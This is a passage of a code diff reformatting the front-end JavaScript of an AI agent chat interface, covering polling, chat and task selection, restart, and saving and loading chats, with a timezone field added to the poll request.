+ const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
356
+
357
+ const response = await sendJsonData("/poll", {
358
+ log_from: lastLogVersion,
359
+ context: context || null,
360
+ timezone: timezone,
361
+ });
362
357
- // Check if the response is valid
358
- if (!response) {
359
- console.error("Invalid response from poll endpoint");
360
- return false;
361
- }
363
+ // Check if the response is valid
364
+ if (!response) {
365
+ console.error("Invalid response from poll endpoint");
366
+ return false;
367
+ }
368
363
- if (!context) setContext(response.context)
364
- if (response.context != context) return //skip late polls after context change
369
+ if (!context) setContext(response.context);
370
+ if (response.context != context) return; //skip late polls after context change
371
366
- if (lastLogGuid != response.log_guid) {
367
- chatHistory.innerHTML = ""
368
- lastLogVersion = 0
369
- }
372
+ if (lastLogGuid != response.log_guid) {
373
+ chatHistory.innerHTML = "";
374
+ lastLogVersion = 0;
375
+ }
376
371
- if (lastLogVersion != response.log_version) {
372
- updated = true
373
- for (const log of response.logs) {
374
- const messageId = log.id || log.no; // Use log.id if available
375
- setMessage(messageId, log.type, log.heading, log.content, log.temp, log.kvps);
376
- }
377
- afterMessagesUpdate(response.logs)
378
- }
377
+ if (lastLogVersion != response.log_version) {
378
+ updated = true;
379
+ for (const log of response.logs) {
380
+ const messageId = log.id || log.no; // Use log.id if available
381
+ setMessage(
382
+ messageId,
383
+ log.type,
384
+ log.heading,
385
+ log.content,
386
+ log.temp,
387
+ log.kvps
388
+ );
389
+ }
390
+ afterMessagesUpdate(response.logs);
391
+ }
392
+
393
+ lastLogVersion = response.log_version;
394
+ lastLogGuid = response.log_guid;
395
380
- lastLogVersion = response.log_version;
381
- lastLogGuid = response.log_guid;
396
+ updateProgress(response.log_progress, response.log_progress_active);
397
383
- updateProgress(response.log_progress, response.log_progress_active)
398
+ //set ui model vars from backend
399
+ const inputAD = Alpine.$data(inputSection);
400
+ inputAD.paused = response.paused;
401
385
- //set ui model vars from backend
386
- const inputAD = Alpine.$data(inputSection);
387
- inputAD.paused = response.paused;
402
+ // Update status icon state
403
+ setConnectionStatus(true);
404
389
- // Update status icon state
390
- setConnectionStatus(true)
405
+ // Update chats list and sort by created_at time (newer first)
406
+ const chatsAD = Alpine.$data(chatsSection);
407
+ const contexts = response.contexts || [];
408
+ chatsAD.contexts = contexts.sort(
409
+ (a, b) => (b.created_at || 0) - (a.created_at || 0)
410
+ );
411
392
- // Update chats list and sort by created_at time (newer first)
393
- const chatsAD = Alpine.$data(chatsSection);
394
- const contexts = response.contexts || [];
395
- chatsAD.contexts = contexts.sort((a, b) =>
396
- (b.created_at || 0) - (a.created_at || 0)
412
+ // Update tasks list and sort by creation time (newer first)
413
+ const tasksSection = document.getElementById("tasks-section");
414
+ if (tasksSection) {
415
+ const tasksAD = Alpine.$data(tasksSection);
416
+ let tasks = response.tasks || [];
417
+
418
+ // Always update tasks to ensure state changes are reflected
419
+ if (tasks.length > 0) {
420
+ // Sort the tasks by creation time
421
+ const sortedTasks = [...tasks].sort(
422
+ (a, b) => (b.created_at || 0) - (a.created_at || 0)
423
);
424
399
- // Update tasks list and sort by creation time (newer first)
400
- const tasksSection = document.getElementById('tasks-section');
401
- if (tasksSection) {
402
- const tasksAD = Alpine.$data(tasksSection);
403
- let tasks = response.tasks || [];
404
-
405
- // Always update tasks to ensure state changes are reflected
406
- if (tasks.length > 0) {
407
- // Sort the tasks by creation time
408
- const sortedTasks = [...tasks].sort((a, b) =>
409
- (b.created_at || 0) - (a.created_at || 0)
410
- );
411
-
412
- // Assign the sorted tasks to the Alpine data
413
- tasksAD.tasks = sortedTasks;
414
- } else {
415
- // Make sure to use a new empty array instance
416
- tasksAD.tasks = [];
417
- }
418
- }
425
+ // Assign the sorted tasks to the Alpine data
426
+ tasksAD.tasks = sortedTasks;
427
+ } else {
428
+ // Make sure to use a new empty array instance
429
+ tasksAD.tasks = [];
430
+ }
431
+ }
432
420
- // Make sure the active context is properly selected in both lists
421
- if (context) {
422
- // Update selection in the active tab
423
- const activeTab = localStorage.getItem('activeTab') || 'chats';
424
-
425
- if (activeTab === 'chats') {
426
- chatsAD.selected = context;
427
- localStorage.setItem('lastSelectedChat', context);
428
-
429
- // Check if this context exists in the chats list
430
- const contextExists = contexts.some(ctx => ctx.id === context);
431
-
432
- // If it doesn't exist in the chats list but we're in chats tab, try to select the first chat
433
- if (!contextExists && contexts.length > 0) {
434
- // Check if the current context is empty before creating a new one
435
- // If there's already a current context and we're just updating UI, don't automatically
436
- // create a new context by calling setContext
437
- const firstChatId = contexts[0].id;
438
-
439
- // Only create a new context if we're not currently in an existing context
440
- // This helps prevent duplicate contexts when switching tabs
441
- setContext(firstChatId);
442
- chatsAD.selected = firstChatId;
443
- localStorage.setItem('lastSelectedChat', firstChatId);
444
- }
445
- } else if (activeTab === 'tasks' && tasksSection) {
446
- const tasksAD = Alpine.$data(tasksSection);
447
- tasksAD.selected = context;
448
- localStorage.setItem('lastSelectedTask', context);
449
-
450
- // Check if this context exists in the tasks list
451
- const taskExists = response.tasks?.some(task => task.id === context);
452
-
453
- // If it doesn't exist in the tasks list but we're in tasks tab, try to select the first task
454
- if (!taskExists && response.tasks?.length > 0) {
455
- const firstTaskId = response.tasks[0].id;
456
- setContext(firstTaskId);
457
- tasksAD.selected = firstTaskId;
458
- localStorage.setItem('lastSelectedTask', firstTaskId);
459
- }
460
- }
461
- } else if (response.tasks && response.tasks.length > 0 && localStorage.getItem('activeTab') === 'tasks') {
462
- // If we're in tasks tab with no selection but have tasks, select the first one
463
- const firstTaskId = response.tasks[0].id;
464
- setContext(firstTaskId);
465
- if (tasksSection) {
466
- const tasksAD = Alpine.$data(tasksSection);
467
- tasksAD.selected = firstTaskId;
468
- localStorage.setItem('lastSelectedTask', firstTaskId);
469
- }
470
- } else if (contexts.length > 0 && localStorage.getItem('activeTab') === 'chats') {
471
- // If we're in chats tab with no selection but have chats, select the first one
472
- const firstChatId = contexts[0].id;
473
-
474
- // Only set context if we don't already have one to avoid duplicates
475
- if (!context) {
476
- setContext(firstChatId);
477
- chatsAD.selected = firstChatId;
478
- localStorage.setItem('lastSelectedChat', firstChatId);
479
- }
433
+ // Make sure the active context is properly selected in both lists
434
+ if (context) {
435
+ // Update selection in the active tab
436
+ const activeTab = localStorage.getItem("activeTab") || "chats";
437
+
438
+ if (activeTab === "chats") {
439
+ chatsAD.selected = context;
440
+ localStorage.setItem("lastSelectedChat", context);
441
+
442
+ // Check if this context exists in the chats list
443
+ const contextExists = contexts.some((ctx) => ctx.id === context);
444
+
445
+ // If it doesn't exist in the chats list but we're in chats tab, try to select the first chat
446
+ if (!contextExists && contexts.length > 0) {
447
+ // Check if the current context is empty before creating a new one
448
+ // If there's already a current context and we're just updating UI, don't automatically
449
+ // create a new context by calling setContext
450
+ const firstChatId = contexts[0].id;
451
+
452
+ // Only create a new context if we're not currently in an existing context
453
+ // This helps prevent duplicate contexts when switching tabs
454
+ setContext(firstChatId);
455
+ chatsAD.selected = firstChatId;
456
+ localStorage.setItem("lastSelectedChat", firstChatId);
457
}
481
-
482
- lastLogVersion = response.log_version;
483
- lastLogGuid = response.log_guid;
484
-
485
- } catch (error) {
486
- console.error('Error:', error);
487
- setConnectionStatus(false)
458
+ } else if (activeTab === "tasks" && tasksSection) {
459
+ const tasksAD = Alpine.$data(tasksSection);
460
+ tasksAD.selected = context;
461
+ localStorage.setItem("lastSelectedTask", context);
462
+
463
+ // Check if this context exists in the tasks list
464
+ const taskExists = response.tasks?.some((task) => task.id === context);
465
+
466
+ // If it doesn't exist in the tasks list but we're in tasks tab, try to select the first task
467
+ if (!taskExists && response.tasks?.length > 0) {
468
+ const firstTaskId = response.tasks[0].id;
469
+ setContext(firstTaskId);
470
+ tasksAD.selected = firstTaskId;
471
+ localStorage.setItem("lastSelectedTask", firstTaskId);
472
+ }
473
+ }
474
+ } else if (
475
+ response.tasks &&
476
+ response.tasks.length > 0 &&
477
+ localStorage.getItem("activeTab") === "tasks"
478
+ ) {
479
+ // If we're in tasks tab with no selection but have tasks, select the first one
480
+ const firstTaskId = response.tasks[0].id;
481
+ setContext(firstTaskId);
482
+ if (tasksSection) {
483
+ const tasksAD = Alpine.$data(tasksSection);
484
+ tasksAD.selected = firstTaskId;
485
+ localStorage.setItem("lastSelectedTask", firstTaskId);
486
+ }
487
+ } else if (
488
+ contexts.length > 0 &&
489
+ localStorage.getItem("activeTab") === "chats"
490
+ ) {
491
+ // If we're in chats tab with no selection but have chats, select the first one
492
+ const firstChatId = contexts[0].id;
493
+
494
+ // Only set context if we don't already have one to avoid duplicates
495
+ if (!context) {
496
+ setContext(firstChatId);
497
+ chatsAD.selected = firstChatId;
498
+ localStorage.setItem("lastSelectedChat", firstChatId);
499
+ }
500
}
501
490
- return updated
502
+ lastLogVersion = response.log_version;
503
+ lastLogGuid = response.log_guid;
504
+ } catch (error) {
505
+ console.error("Error:", error);
506
+ setConnectionStatus(false);
507
+ }
508
+
509
+ return updated;
510
}
511
512
function afterMessagesUpdate(logs) {
494
- if (localStorage.getItem('speech') == 'true') {
495
- speakMessages(logs)
496
- }
513
+ if (localStorage.getItem("speech") == "true") {
514
+ speakMessages(logs);
515
+ }
516
}
517
518
function speakMessages(logs) {
500
- // log.no, log.type, log.heading, log.content
501
- for (let i = logs.length - 1; i >= 0; i--) {
502
- const log = logs[i]
503
- if (log.type == "response") {
504
- if (log.no > lastSpokenNo) {
505
- lastSpokenNo = log.no
506
- speech.speak(log.content)
507
- return
508
- }
509
- }
519
+ // log.no, log.type, log.heading, log.content
520
+ for (let i = logs.length - 1; i >= 0; i--) {
521
+ const log = logs[i];
522
+ if (log.type == "response") {
523
+ if (log.no > lastSpokenNo) {
524
+ lastSpokenNo = log.no;
525
+ speech.speak(log.content);
526
+ return;
527
+ }
528
}
529
+ }
530
}
531
532
function updateProgress(progress, active) {
514
- if (!progress) progress = ""
533
+ if (!progress) progress = "";
534
516
- if (!active) {
517
- removeClassFromElement(progressBar, "shiny-text")
518
- } else {
519
- addClassToElement(progressBar, "shiny-text")
520
- }
535
+ if (!active) {
536
+ removeClassFromElement(progressBar, "shiny-text");
537
+ } else {
538
+ addClassToElement(progressBar, "shiny-text");
539
+ }
540
522
- if (progressBar.innerHTML != progress) {
523
- progressBar.innerHTML = progress
524
- }
541
+ if (progressBar.innerHTML != progress) {
542
+ progressBar.innerHTML = progress;
543
+ }
544
}
545
546
window.pauseAgent = async function (paused) {
528
- try {
529
- const resp = await sendJsonData("/pause", { paused: paused, context });
530
- } catch (e) {
531
- window.toastFetchError("Error pausing agent", e)
532
- }
533
-}
547
+ try {
548
+ const resp = await sendJsonData("/pause", { paused: paused, context });
549
+ } catch (e) {
550
+ window.toastFetchError("Error pausing agent", e);
551
+ }
552
+};
553
535
-window.resetChat = async function (ctxid=null) {
536
- try {
537
- const resp = await sendJsonData("/chat_reset", { "context": ctxid === null ? context : ctxid });
538
- if (ctxid === null) updateAfterScroll();
539
- } catch (e) {
540
- window.toastFetchError("Error resetting chat", e);
541
- }
542
-}
554
+window.resetChat = async function (ctxid = null) {
555
+ try {
556
+ const resp = await sendJsonData("/chat_reset", {
557
+ context: ctxid === null ? context : ctxid,
558
+ });
559
+ if (ctxid === null) updateAfterScroll();
560
+ } catch (e) {
561
+ window.toastFetchError("Error resetting chat", e);
562
+ }
563
+};
564
565
window.newChat = async function () {
545
- try {
546
- setContext(generateGUID());
547
- updateAfterScroll()
548
- } catch (e) {
549
- window.toastFetchError("Error creating new chat", e)
550
- }
551
-}
566
+ try {
567
+ setContext(generateGUID());
568
+ updateAfterScroll();
569
+ } catch (e) {
570
+ window.toastFetchError("Error creating new chat", e);
571
+ }
572
+};
573
574
window.killChat = async function (id) {
554
- if (!id) {
555
- console.error("No chat ID provided for deletion");
556
- return;
557
- }
575
+ if (!id) {
576
+ console.error("No chat ID provided for deletion");
577
+ return;
578
+ }
579
559
- console.log("Deleting chat with ID:", id);
580
+ console.log("Deleting chat with ID:", id);
581
561
- try {
562
- const chatsAD = Alpine.$data(chatsSection);
563
- console.log("Current contexts before deletion:", JSON.stringify(chatsAD.contexts.map(c => ({ id: c.id, name: c.name }))));
582
+ try {
583
+ const chatsAD = Alpine.$data(chatsSection);
584
+ console.log(
585
+ "Current contexts before deletion:",
586
+ JSON.stringify(chatsAD.contexts.map((c) => ({ id: c.id, name: c.name })))
587
+ );
588
565
- // switch to another context if deleting current
566
- switchFromContext(id);
589
+ // switch to another context if deleting current
590
+ switchFromContext(id);
591
568
- // Delete the chat on the server
569
- await sendJsonData("/chat_remove", { context: id });
592
+ // Delete the chat on the server
593
+ await sendJsonData("/chat_remove", { context: id });
594
571
- // Update the UI manually to ensure the correct chat is removed
572
- // Deep clone the contexts array to prevent reference issues
573
- const updatedContexts = chatsAD.contexts.filter(ctx => ctx.id !== id);
574
- console.log("Updated contexts after deletion:", JSON.stringify(updatedContexts.map(c => ({ id: c.id, name: c.name }))));
595
+ // Update the UI manually to ensure the correct chat is removed
596
+ // Deep clone the contexts array to prevent reference issues
597
+ const updatedContexts = chatsAD.contexts.filter((ctx) => ctx.id !== id);
598
+ console.log(
599
+ "Updated contexts after deletion:",
600
+ JSON.stringify(updatedContexts.map((c) => ({ id: c.id, name: c.name })))
601
+ );
602
576
- // Force UI update by creating a new array
577
- chatsAD.contexts = [...updatedContexts];
603
+ // Force UI update by creating a new array
604
+ chatsAD.contexts = [...updatedContexts];
605
579
- updateAfterScroll();
606
+ updateAfterScroll();
607
581
- toast("Chat deleted successfully", "success");
582
- } catch (e) {
583
- console.error("Error deleting chat:", e);
584
- window.toastFetchError("Error deleting chat", e);
585
- }
586
-}
608
+ toast("Chat deleted successfully", "success");
609
+ } catch (e) {
610
+ console.error("Error deleting chat:", e);
611
+ window.toastFetchError("Error deleting chat", e);
612
+ }
613
+};
614
588
-export function switchFromContext(id){
589
- // If we're deleting the currently selected chat, switch to another one first
590
- if (context === id) {
591
- const chatsAD = Alpine.$data(chatsSection);
592
-
593
- // Find an alternate chat to switch to if we're deleting the current one
594
- let alternateChat = null;
595
- for (let i = 0; i < chatsAD.contexts.length; i++) {
596
- if (chatsAD.contexts[i].id !== id) {
597
- alternateChat = chatsAD.contexts[i];
598
- break;
599
- }
600
- }
615
+export function switchFromContext(id) {
616
+ // If we're deleting the currently selected chat, switch to another one first
617
+ if (context === id) {
618
+ const chatsAD = Alpine.$data(chatsSection);
619
602
- if (alternateChat) {
603
- setContext(alternateChat.id);
604
- } else {
605
- // If no other chats, create a new empty context
606
- setContext(generateGUID());
607
- }
620
+ // Find an alternate chat to switch to if we're deleting the current one
621
+ let alternateChat = null;
622
+ for (let i = 0; i < chatsAD.contexts.length; i++) {
623
+ if (chatsAD.contexts[i].id !== id) {
624
+ alternateChat = chatsAD.contexts[i];
625
+ break;
626
+ }
627
}
628
+
629
+ if (alternateChat) {
630
+ setContext(alternateChat.id);
631
+ } else {
632
+ // If no other chats, create a new empty context
633
+ setContext(generateGUID());
634
+ }
635
+ }
636
}
637
638
// Function to ensure proper UI state when switching contexts
639
function ensureProperTabSelection(contextId) {
613
- // Get current active tab
614
- const activeTab = localStorage.getItem('activeTab') || 'chats';
640
+ // Get current active tab
641
+ const activeTab = localStorage.getItem("activeTab") || "chats";
642
616
- // First attempt to determine if this is a task or chat based on the task list
617
- const tasksSection = document.getElementById('tasks-section');
618
- let isTask = false;
643
+ // First attempt to determine if this is a task or chat based on the task list
644
+ const tasksSection = document.getElementById("tasks-section");
645
+ let isTask = false;
646
620
- if (tasksSection) {
621
- const tasksAD = Alpine.$data(tasksSection);
622
- if (tasksAD && tasksAD.tasks) {
623
- isTask = tasksAD.tasks.some(task => task.id === contextId);
624
- }
647
+ if (tasksSection) {
648
+ const tasksAD = Alpine.$data(tasksSection);
649
+ if (tasksAD && tasksAD.tasks) {
650
+ isTask = tasksAD.tasks.some((task) => task.id === contextId);
651
}
652
+ }
653
+
654
+ // If we're selecting a task but are in the chats tab, switch to tasks tab
655
+ if (isTask && activeTab === "chats") {
656
+ // Store this as the last selected task before switching
657
+ localStorage.setItem("lastSelectedTask", contextId);
658
+ activateTab("tasks");
659
+ return true;
660
+ }
661
+
662
+ // If we're selecting a chat but are in the tasks tab, switch to chats tab
663
+ if (!isTask && activeTab === "tasks") {
664
+ // Store this as the last selected chat before switching
665
+ localStorage.setItem("lastSelectedChat", contextId);
666
+ activateTab("chats");
667
+ return true;
668
+ }
669
+
670
+ return false;
671
+}
672
627
- // If we're selecting a task but are in the chats tab, switch to tasks tab
628
- if (isTask && activeTab === 'chats') {
629
- // Store this as the last selected task before switching
630
- localStorage.setItem('lastSelectedTask', contextId);
631
- activateTab('tasks');
632
- return true;
633
- }
673
+window.selectChat = async function (id) {
674
+ if (id === context) return; //already selected
675
635
- // If we're selecting a chat but are in the tasks tab, switch to chats tab
636
- if (!isTask && activeTab === 'tasks') {
637
- // Store this as the last selected chat before switching
638
- localStorage.setItem('lastSelectedChat', contextId);
639
- activateTab('chats');
640
- return true;
641
- }
676
+ // Check if we need to switch tabs based on the context type
677
+ const tabSwitched = ensureProperTabSelection(id);
678
643
- return false;
644
-}
679
+ // If we didn't switch tabs, proceed with normal selection
680
+ if (!tabSwitched) {
681
+ // Switch to the new context - this will clear chat history and reset tracking variables
682
+ setContext(id);
683
646
-window.selectChat = async function (id) {
647
- if (id === context) return //already selected
648
-
649
- // Check if we need to switch tabs based on the context type
650
- const tabSwitched = ensureProperTabSelection(id);
651
-
652
- // If we didn't switch tabs, proceed with normal selection
653
- if (!tabSwitched) {
654
- // Switch to the new context - this will clear chat history and reset tracking variables
655
- setContext(id);
656
-
657
- // Update both contexts and tasks lists to reflect the selected item
658
- const chatsAD = Alpine.$data(chatsSection);
659
- const tasksSection = document.getElementById('tasks-section');
660
- if (tasksSection) {
661
- const tasksAD = Alpine.$data(tasksSection);
662
- tasksAD.selected = id;
663
- }
664
- chatsAD.selected = id;
665
-
666
- // Store this selection in the appropriate localStorage key
667
- const activeTab = localStorage.getItem('activeTab') || 'chats';
668
- if (activeTab === 'chats') {
669
- localStorage.setItem('lastSelectedChat', id);
670
- } else if (activeTab === 'tasks') {
671
- localStorage.setItem('lastSelectedTask', id);
672
- }
684
+ // Update both contexts and tasks lists to reflect the selected item
685
+ const chatsAD = Alpine.$data(chatsSection);
686
+ const tasksSection = document.getElementById("tasks-section");
687
+ if (tasksSection) {
688
+ const tasksAD = Alpine.$data(tasksSection);
689
+ tasksAD.selected = id;
690
+ }
691
+ chatsAD.selected = id;
692
674
- // Trigger an immediate poll to fetch content
675
- poll();
693
+ // Store this selection in the appropriate localStorage key
694
+ const activeTab = localStorage.getItem("activeTab") || "chats";
695
+ if (activeTab === "chats") {
696
+ localStorage.setItem("lastSelectedChat", id);
697
+ } else if (activeTab === "tasks") {
698
+ localStorage.setItem("lastSelectedTask", id);
699
}
700
678
- updateAfterScroll();
679
-}
701
+ // Trigger an immediate poll to fetch content
702
+ poll();
703
+ }
704
681
-export const setContext = function (id) {
682
- if (id == context) return;
683
- context = id;
684
- // Always reset the log tracking variables when switching contexts
685
- // This ensures we get fresh data from the backend
686
- lastLogGuid = "";
687
- lastLogVersion = 0;
688
- lastSpokenNo = 0;
689
-
690
- // Clear the chat history immediately to avoid showing stale content
691
- chatHistory.innerHTML = "";
692
-
693
- // Update both selected states
694
- const chatsAD = Alpine.$data(chatsSection);
695
- const tasksAD = Alpine.$data(tasksSection);
705
+ updateAfterScroll();
706
+};
707
697
- chatsAD.selected = id;
698
- tasksAD.selected = id;
699
-}
708
+export const setContext = function (id) {
709
+ if (id == context) return;
710
+ context = id;
711
+ // Always reset the log tracking variables when switching contexts
712
+ // This ensures we get fresh data from the backend
713
+ lastLogGuid = "";
714
+ lastLogVersion = 0;
715
+ lastSpokenNo = 0;
716
+
717
+ // Clear the chat history immediately to avoid showing stale content
718
+ chatHistory.innerHTML = "";
719
+
720
+ // Update both selected states
721
+ const chatsAD = Alpine.$data(chatsSection);
722
+ const tasksAD = Alpine.$data(tasksSection);
723
+
724
+ chatsAD.selected = id;
725
+ tasksAD.selected = id;
726
+};
727
728
export const getContext = function () {
702
- return context
703
-}
729
+ return context;
730
+};
731
732
window.toggleAutoScroll = async function (_autoScroll) {
706
- autoScroll = _autoScroll;
707
-}
733
+ autoScroll = _autoScroll;
734
+};
735
736
window.toggleJson = async function (showJson) {
710
- // add display:none to .msg-json class definition
711
- toggleCssProperty('.msg-json', 'display', showJson ? 'block' : 'none');
712
-}
737
+ // add display:none to .msg-json class definition
738
+ toggleCssProperty(".msg-json", "display", showJson ? "block" : "none");
739
+};
740
741
window.toggleThoughts = async function (showThoughts) {
715
- // add display:none to .msg-json class definition
716
- toggleCssProperty('.msg-thoughts', 'display', showThoughts ? undefined : 'none');
717
-}
742
+ // add display:none to .msg-json class definition
743
+ toggleCssProperty(
744
+ ".msg-thoughts",
745
+ "display",
746
+ showThoughts ? undefined : "none"
747
+ );
748
+};
749
750
window.toggleUtils = async function (showUtils) {
720
- // add display:none to .msg-json class definition
721
- toggleCssProperty('.message-util', 'display', showUtils ? undefined : 'none');
722
- // toggleCssProperty('.message-util .msg-kvps', 'display', showUtils ? undefined : 'none');
723
- // toggleCssProperty('.message-util .msg-content', 'display', showUtils ? undefined : 'none');
724
-}
751
+ // add display:none to .msg-json class definition
752
+ toggleCssProperty(".message-util", "display", showUtils ? undefined : "none");
753
+ // toggleCssProperty('.message-util .msg-kvps', 'display', showUtils ? undefined : 'none');
754
+ // toggleCssProperty('.message-util .msg-content', 'display', showUtils ? undefined : 'none');
755
+};
756
757
window.toggleDarkMode = function (isDark) {
727
- if (isDark) {
728
- document.body.classList.remove('light-mode');
729
- document.body.classList.add('dark-mode');
730
- } else {
731
- document.body.classList.remove('dark-mode');
732
- document.body.classList.add('light-mode');
733
- }
734
- console.log("Dark mode:", isDark);
735
- localStorage.setItem('darkMode', isDark);
758
+ if (isDark) {
759
+ document.body.classList.remove("light-mode");
760
+ document.body.classList.add("dark-mode");
761
+ } else {
762
+ document.body.classList.remove("dark-mode");
763
+ document.body.classList.add("light-mode");
764
+ }
765
+ console.log("Dark mode:", isDark);
766
+ localStorage.setItem("darkMode", isDark);
767
};
768
769
window.toggleSpeech = function (isOn) {
739
- console.log("Speech:", isOn);
740
- localStorage.setItem('speech', isOn);
741
- if (!isOn) speech.stop()
770
+ console.log("Speech:", isOn);
771
+ localStorage.setItem("speech", isOn);
772
+ if (!isOn) speech.stop();
773
};
774
775
window.nudge = async function () {
745
- try {
746
- const resp = await sendJsonData("/nudge", { ctxid: getContext() });
747
- } catch (e) {
748
- toastFetchError("Error nudging agent", e)
749
- }
750
-}
776
+ try {
777
+ const resp = await sendJsonData("/nudge", { ctxid: getContext() });
778
+ } catch (e) {
779
+ toastFetchError("Error nudging agent", e);
780
+ }
781
+};
782
783
window.restart = async function () {
753
- try {
754
- if (!getConnectionStatus()) {
755
- toast("Backend disconnected, cannot restart.", "error");
756
- return
757
- }
758
- // First try to initiate restart
759
- const resp = await sendJsonData("/restart", {});
760
- } catch (e) {
761
- // Show restarting message
762
- toast("Restarting...", "info", 0);
763
-
764
- let retries = 0;
765
- const maxRetries = 240; // Maximum number of retries (60 seconds with 250ms interval)
766
-
767
- while (retries < maxRetries) {
768
- try {
769
- const resp = await sendJsonData("/health", {});
770
- // Server is back up, show success message
771
- await new Promise(resolve => setTimeout(resolve, 250));
772
- hideToast();
773
- await new Promise(resolve => setTimeout(resolve, 400));
774
- toast("Restarted", "success", 5000);
775
- return;
776
- } catch (e) {
777
- // Server still down, keep waiting
778
- retries++;
779
- await new Promise(resolve => setTimeout(resolve, 250));
780
- }
781
- }
782
-
783
- // If we get here, restart failed or took too long
784
+ try {
785
+ if (!getConnectionStatus()) {
786
+ toast("Backend disconnected, cannot restart.", "error");
787
+ return;
788
+ }
789
+ // First try to initiate restart
790
+ const resp = await sendJsonData("/restart", {});
791
+ } catch (e) {
792
+ // Show restarting message
793
+ toast("Restarting...", "info", 0);
794
+
795
+ let retries = 0;
796
+ const maxRetries = 240; // Maximum number of retries (60 seconds with 250ms interval)
797
+
798
+ while (retries < maxRetries) {
799
+ try {
800
+ const resp = await sendJsonData("/health", {});
801
+ // Server is back up, show success message
802
+ await new Promise((resolve) => setTimeout(resolve, 250));
803
hideToast();
785
- await new Promise(resolve => setTimeout(resolve, 400));
786
- toast("Restart timed out or failed", "error", 5000);
804
+ await new Promise((resolve) => setTimeout(resolve, 400));
805
+ toast("Restarted", "success", 5000);
806
+ return;
807
+ } catch (e) {
808
+ // Server still down, keep waiting
809
+ retries++;
810
+ await new Promise((resolve) => setTimeout(resolve, 250));
811
+ }
812
}
788
-}
813
+
814
+ // If we get here, restart failed or took too long
815
+ hideToast();
816
+ await new Promise((resolve) => setTimeout(resolve, 400));
817
+ toast("Restart timed out or failed", "error", 5000);
818
+ }
819
+};
820
821
// Modify this part
791
-document.addEventListener('DOMContentLoaded', () => {
792
- const isDarkMode = localStorage.getItem('darkMode') !== 'false';
793
- toggleDarkMode(isDarkMode);
822
+document.addEventListener("DOMContentLoaded", () => {
823
+ const isDarkMode = localStorage.getItem("darkMode") !== "false";
824
+ toggleDarkMode(isDarkMode);
825
});
826
796
-
827
function toggleCssProperty(selector, property, value) {
798
- // Get the stylesheet that contains the class
799
- const styleSheets = document.styleSheets;
800
-
801
- // Iterate through all stylesheets to find the class
802
- for (let i = 0; i < styleSheets.length; i++) {
803
- const styleSheet = styleSheets[i];
804
- const rules = styleSheet.cssRules || styleSheet.rules;
805
-
806
- for (let j = 0; j < rules.length; j++) {
807
- const rule = rules[j];
808
- if (rule.selectorText == selector) {
809
- // Check if the property is already applied
810
- if (value === undefined) {
811
- rule.style.removeProperty(property);
812
- } else {
813
- rule.style.setProperty(property, value);
814
- }
815
- return;
816
- }
828
+ // Get the stylesheet that contains the class
829
+ const styleSheets = document.styleSheets;
830
+
831
+ // Iterate through all stylesheets to find the class
832
+ for (let i = 0; i < styleSheets.length; i++) {
833
+ const styleSheet = styleSheets[i];
834
+ const rules = styleSheet.cssRules || styleSheet.rules;
835
+
836
+ for (let j = 0; j < rules.length; j++) {
837
+ const rule = rules[j];
838
+ if (rule.selectorText == selector) {
839
+ // Check if the property is already applied
840
+ if (value === undefined) {
841
+ rule.style.removeProperty(property);
842
+ } else {
843
+ rule.style.setProperty(property, value);
844
}
845
+ return;
846
+ }
847
}
848
+ }
849
}
850
851
window.loadChats = async function () {
822
- try {
823
- const fileContents = await readJsonFiles();
824
- const response = await sendJsonData("/chat_load", { chats: fileContents });
852
+ try {
853
+ const fileContents = await readJsonFiles();
854
+ const response = await sendJsonData("/chat_load", { chats: fileContents });
855
826
- if (!response) {
827
- toast("No response returned.", "error")
828
- }
829
- // else if (!response.ok) {
830
- // if (response.message) {
831
- // toast(response.message, "error")
832
- // } else {
833
- // toast("Undefined error.", "error")
834
- // }
835
- // }
836
- else {
837
- setContext(response.ctxids[0])
838
- toast("Chats loaded.", "success")
839
- }
840
-
841
- } catch (e) {
842
- toastFetchError("Error loading chats", e)
856
+ if (!response) {
857
+ toast("No response returned.", "error");
858
}
844
-}
859
+ // else if (!response.ok) {
860
+ // if (response.message) {
861
+ // toast(response.message, "error")
862
+ // } else {
863
+ // toast("Undefined error.", "error")
864
+ // }
865
+ // }
866
+ else {
867
+ setContext(response.ctxids[0]);
868
+ toast("Chats loaded.", "success");
869
+ }
870
+ } catch (e) {
871
+ toastFetchError("Error loading chats", e);
872
+ }
873
+};
874
875
window.saveChat = async function () {
847
- try {
848
- const response = await sendJsonData("/chat_export", { ctxid: context });
876
+ try {
877
+ const response = await sendJsonData("/chat_export", { ctxid: context });
878
850
- if (!response) {
851
- toast("No response returned.", "error")
852
- }
853
- // else if (!response.ok) {
854
- // if (response.message) {
855
- // toast(response.message, "error")
856
- // } else {
857
- // toast("Undefined error.", "error")
858
- // }
859
- // }
860
- else {
861
- downloadFile(response.ctxid + ".json", response.content)
862
- toast("Chat file downloaded.", "success")
863
- }
864
-
865
- } catch (e) {
866
- toastFetchError("Error saving chat", e)
879
+ if (!response) {
880
+ toast("No response returned.", "error");
881
}
868
-}
882
+ // else if (!response.ok) {
883
+ // if (response.message) {
884
+ // toast(response.message, "error")
885
+ // } else {
886
+ // toast("Undefined error.", "error")
887
+ // }
888
+ // }
889
+ else {
890
+ downloadFile(response.ctxid + ".json", response.content);
891
+ toast("Chat file downloaded.", "success");
892
+ }
893
+ } catch (e) {
894
+ toastFetchError("Error saving chat", e);
895
+ }
896
+};
897
898
function downloadFile(filename, content) {
871
- // Create a Blob with the content to save
872
- const blob = new Blob([content], { type: 'application/json' });
899
+ // Create a Blob with the content to save
900
+ const blob = new Blob([content], { type: "application/json" });
901
874
- // Create a link element
875
- const link = document.createElement('a');
902
+ // Create a link element
903
+ const link = document.createElement("a");
904
877
- // Create a URL for the Blob
878
- const url = URL.createObjectURL(blob);
879
- link.href = url;
905
+ // Create a URL for the Blob
906
+ const url = URL.createObjectURL(blob);
907
+ link.href = url;
908
881
- // Set the file name for download
882
- link.download = filename;
909
+ // Set the file name for download
910
+ link.download = filename;
911
884
- // Programmatically click the link to trigger the download
885
- link.click();
912
+ // Programmatically click the link to trigger the download
913
+ link.click();
914
887
- // Clean up by revoking the object URL
888
- setTimeout(() => {
889
- URL.revokeObjectURL(url);
890
- }, 0);
915
+ // Clean up by revoking the object URL
916
+ setTimeout(() => {
917
+ URL.revokeObjectURL(url);
918
+ }, 0);
919
}
920
893
-
921
function readJsonFiles() {
895
- return new Promise((resolve, reject) => {
896
- // Create an input element of type 'file'
897
- const input = document.createElement('input');
898
- input.type = 'file';
899
- input.accept = '.json'; // Only accept JSON files
900
- input.multiple = true; // Allow multiple file selection
901
-
902
- // Trigger the file dialog
903
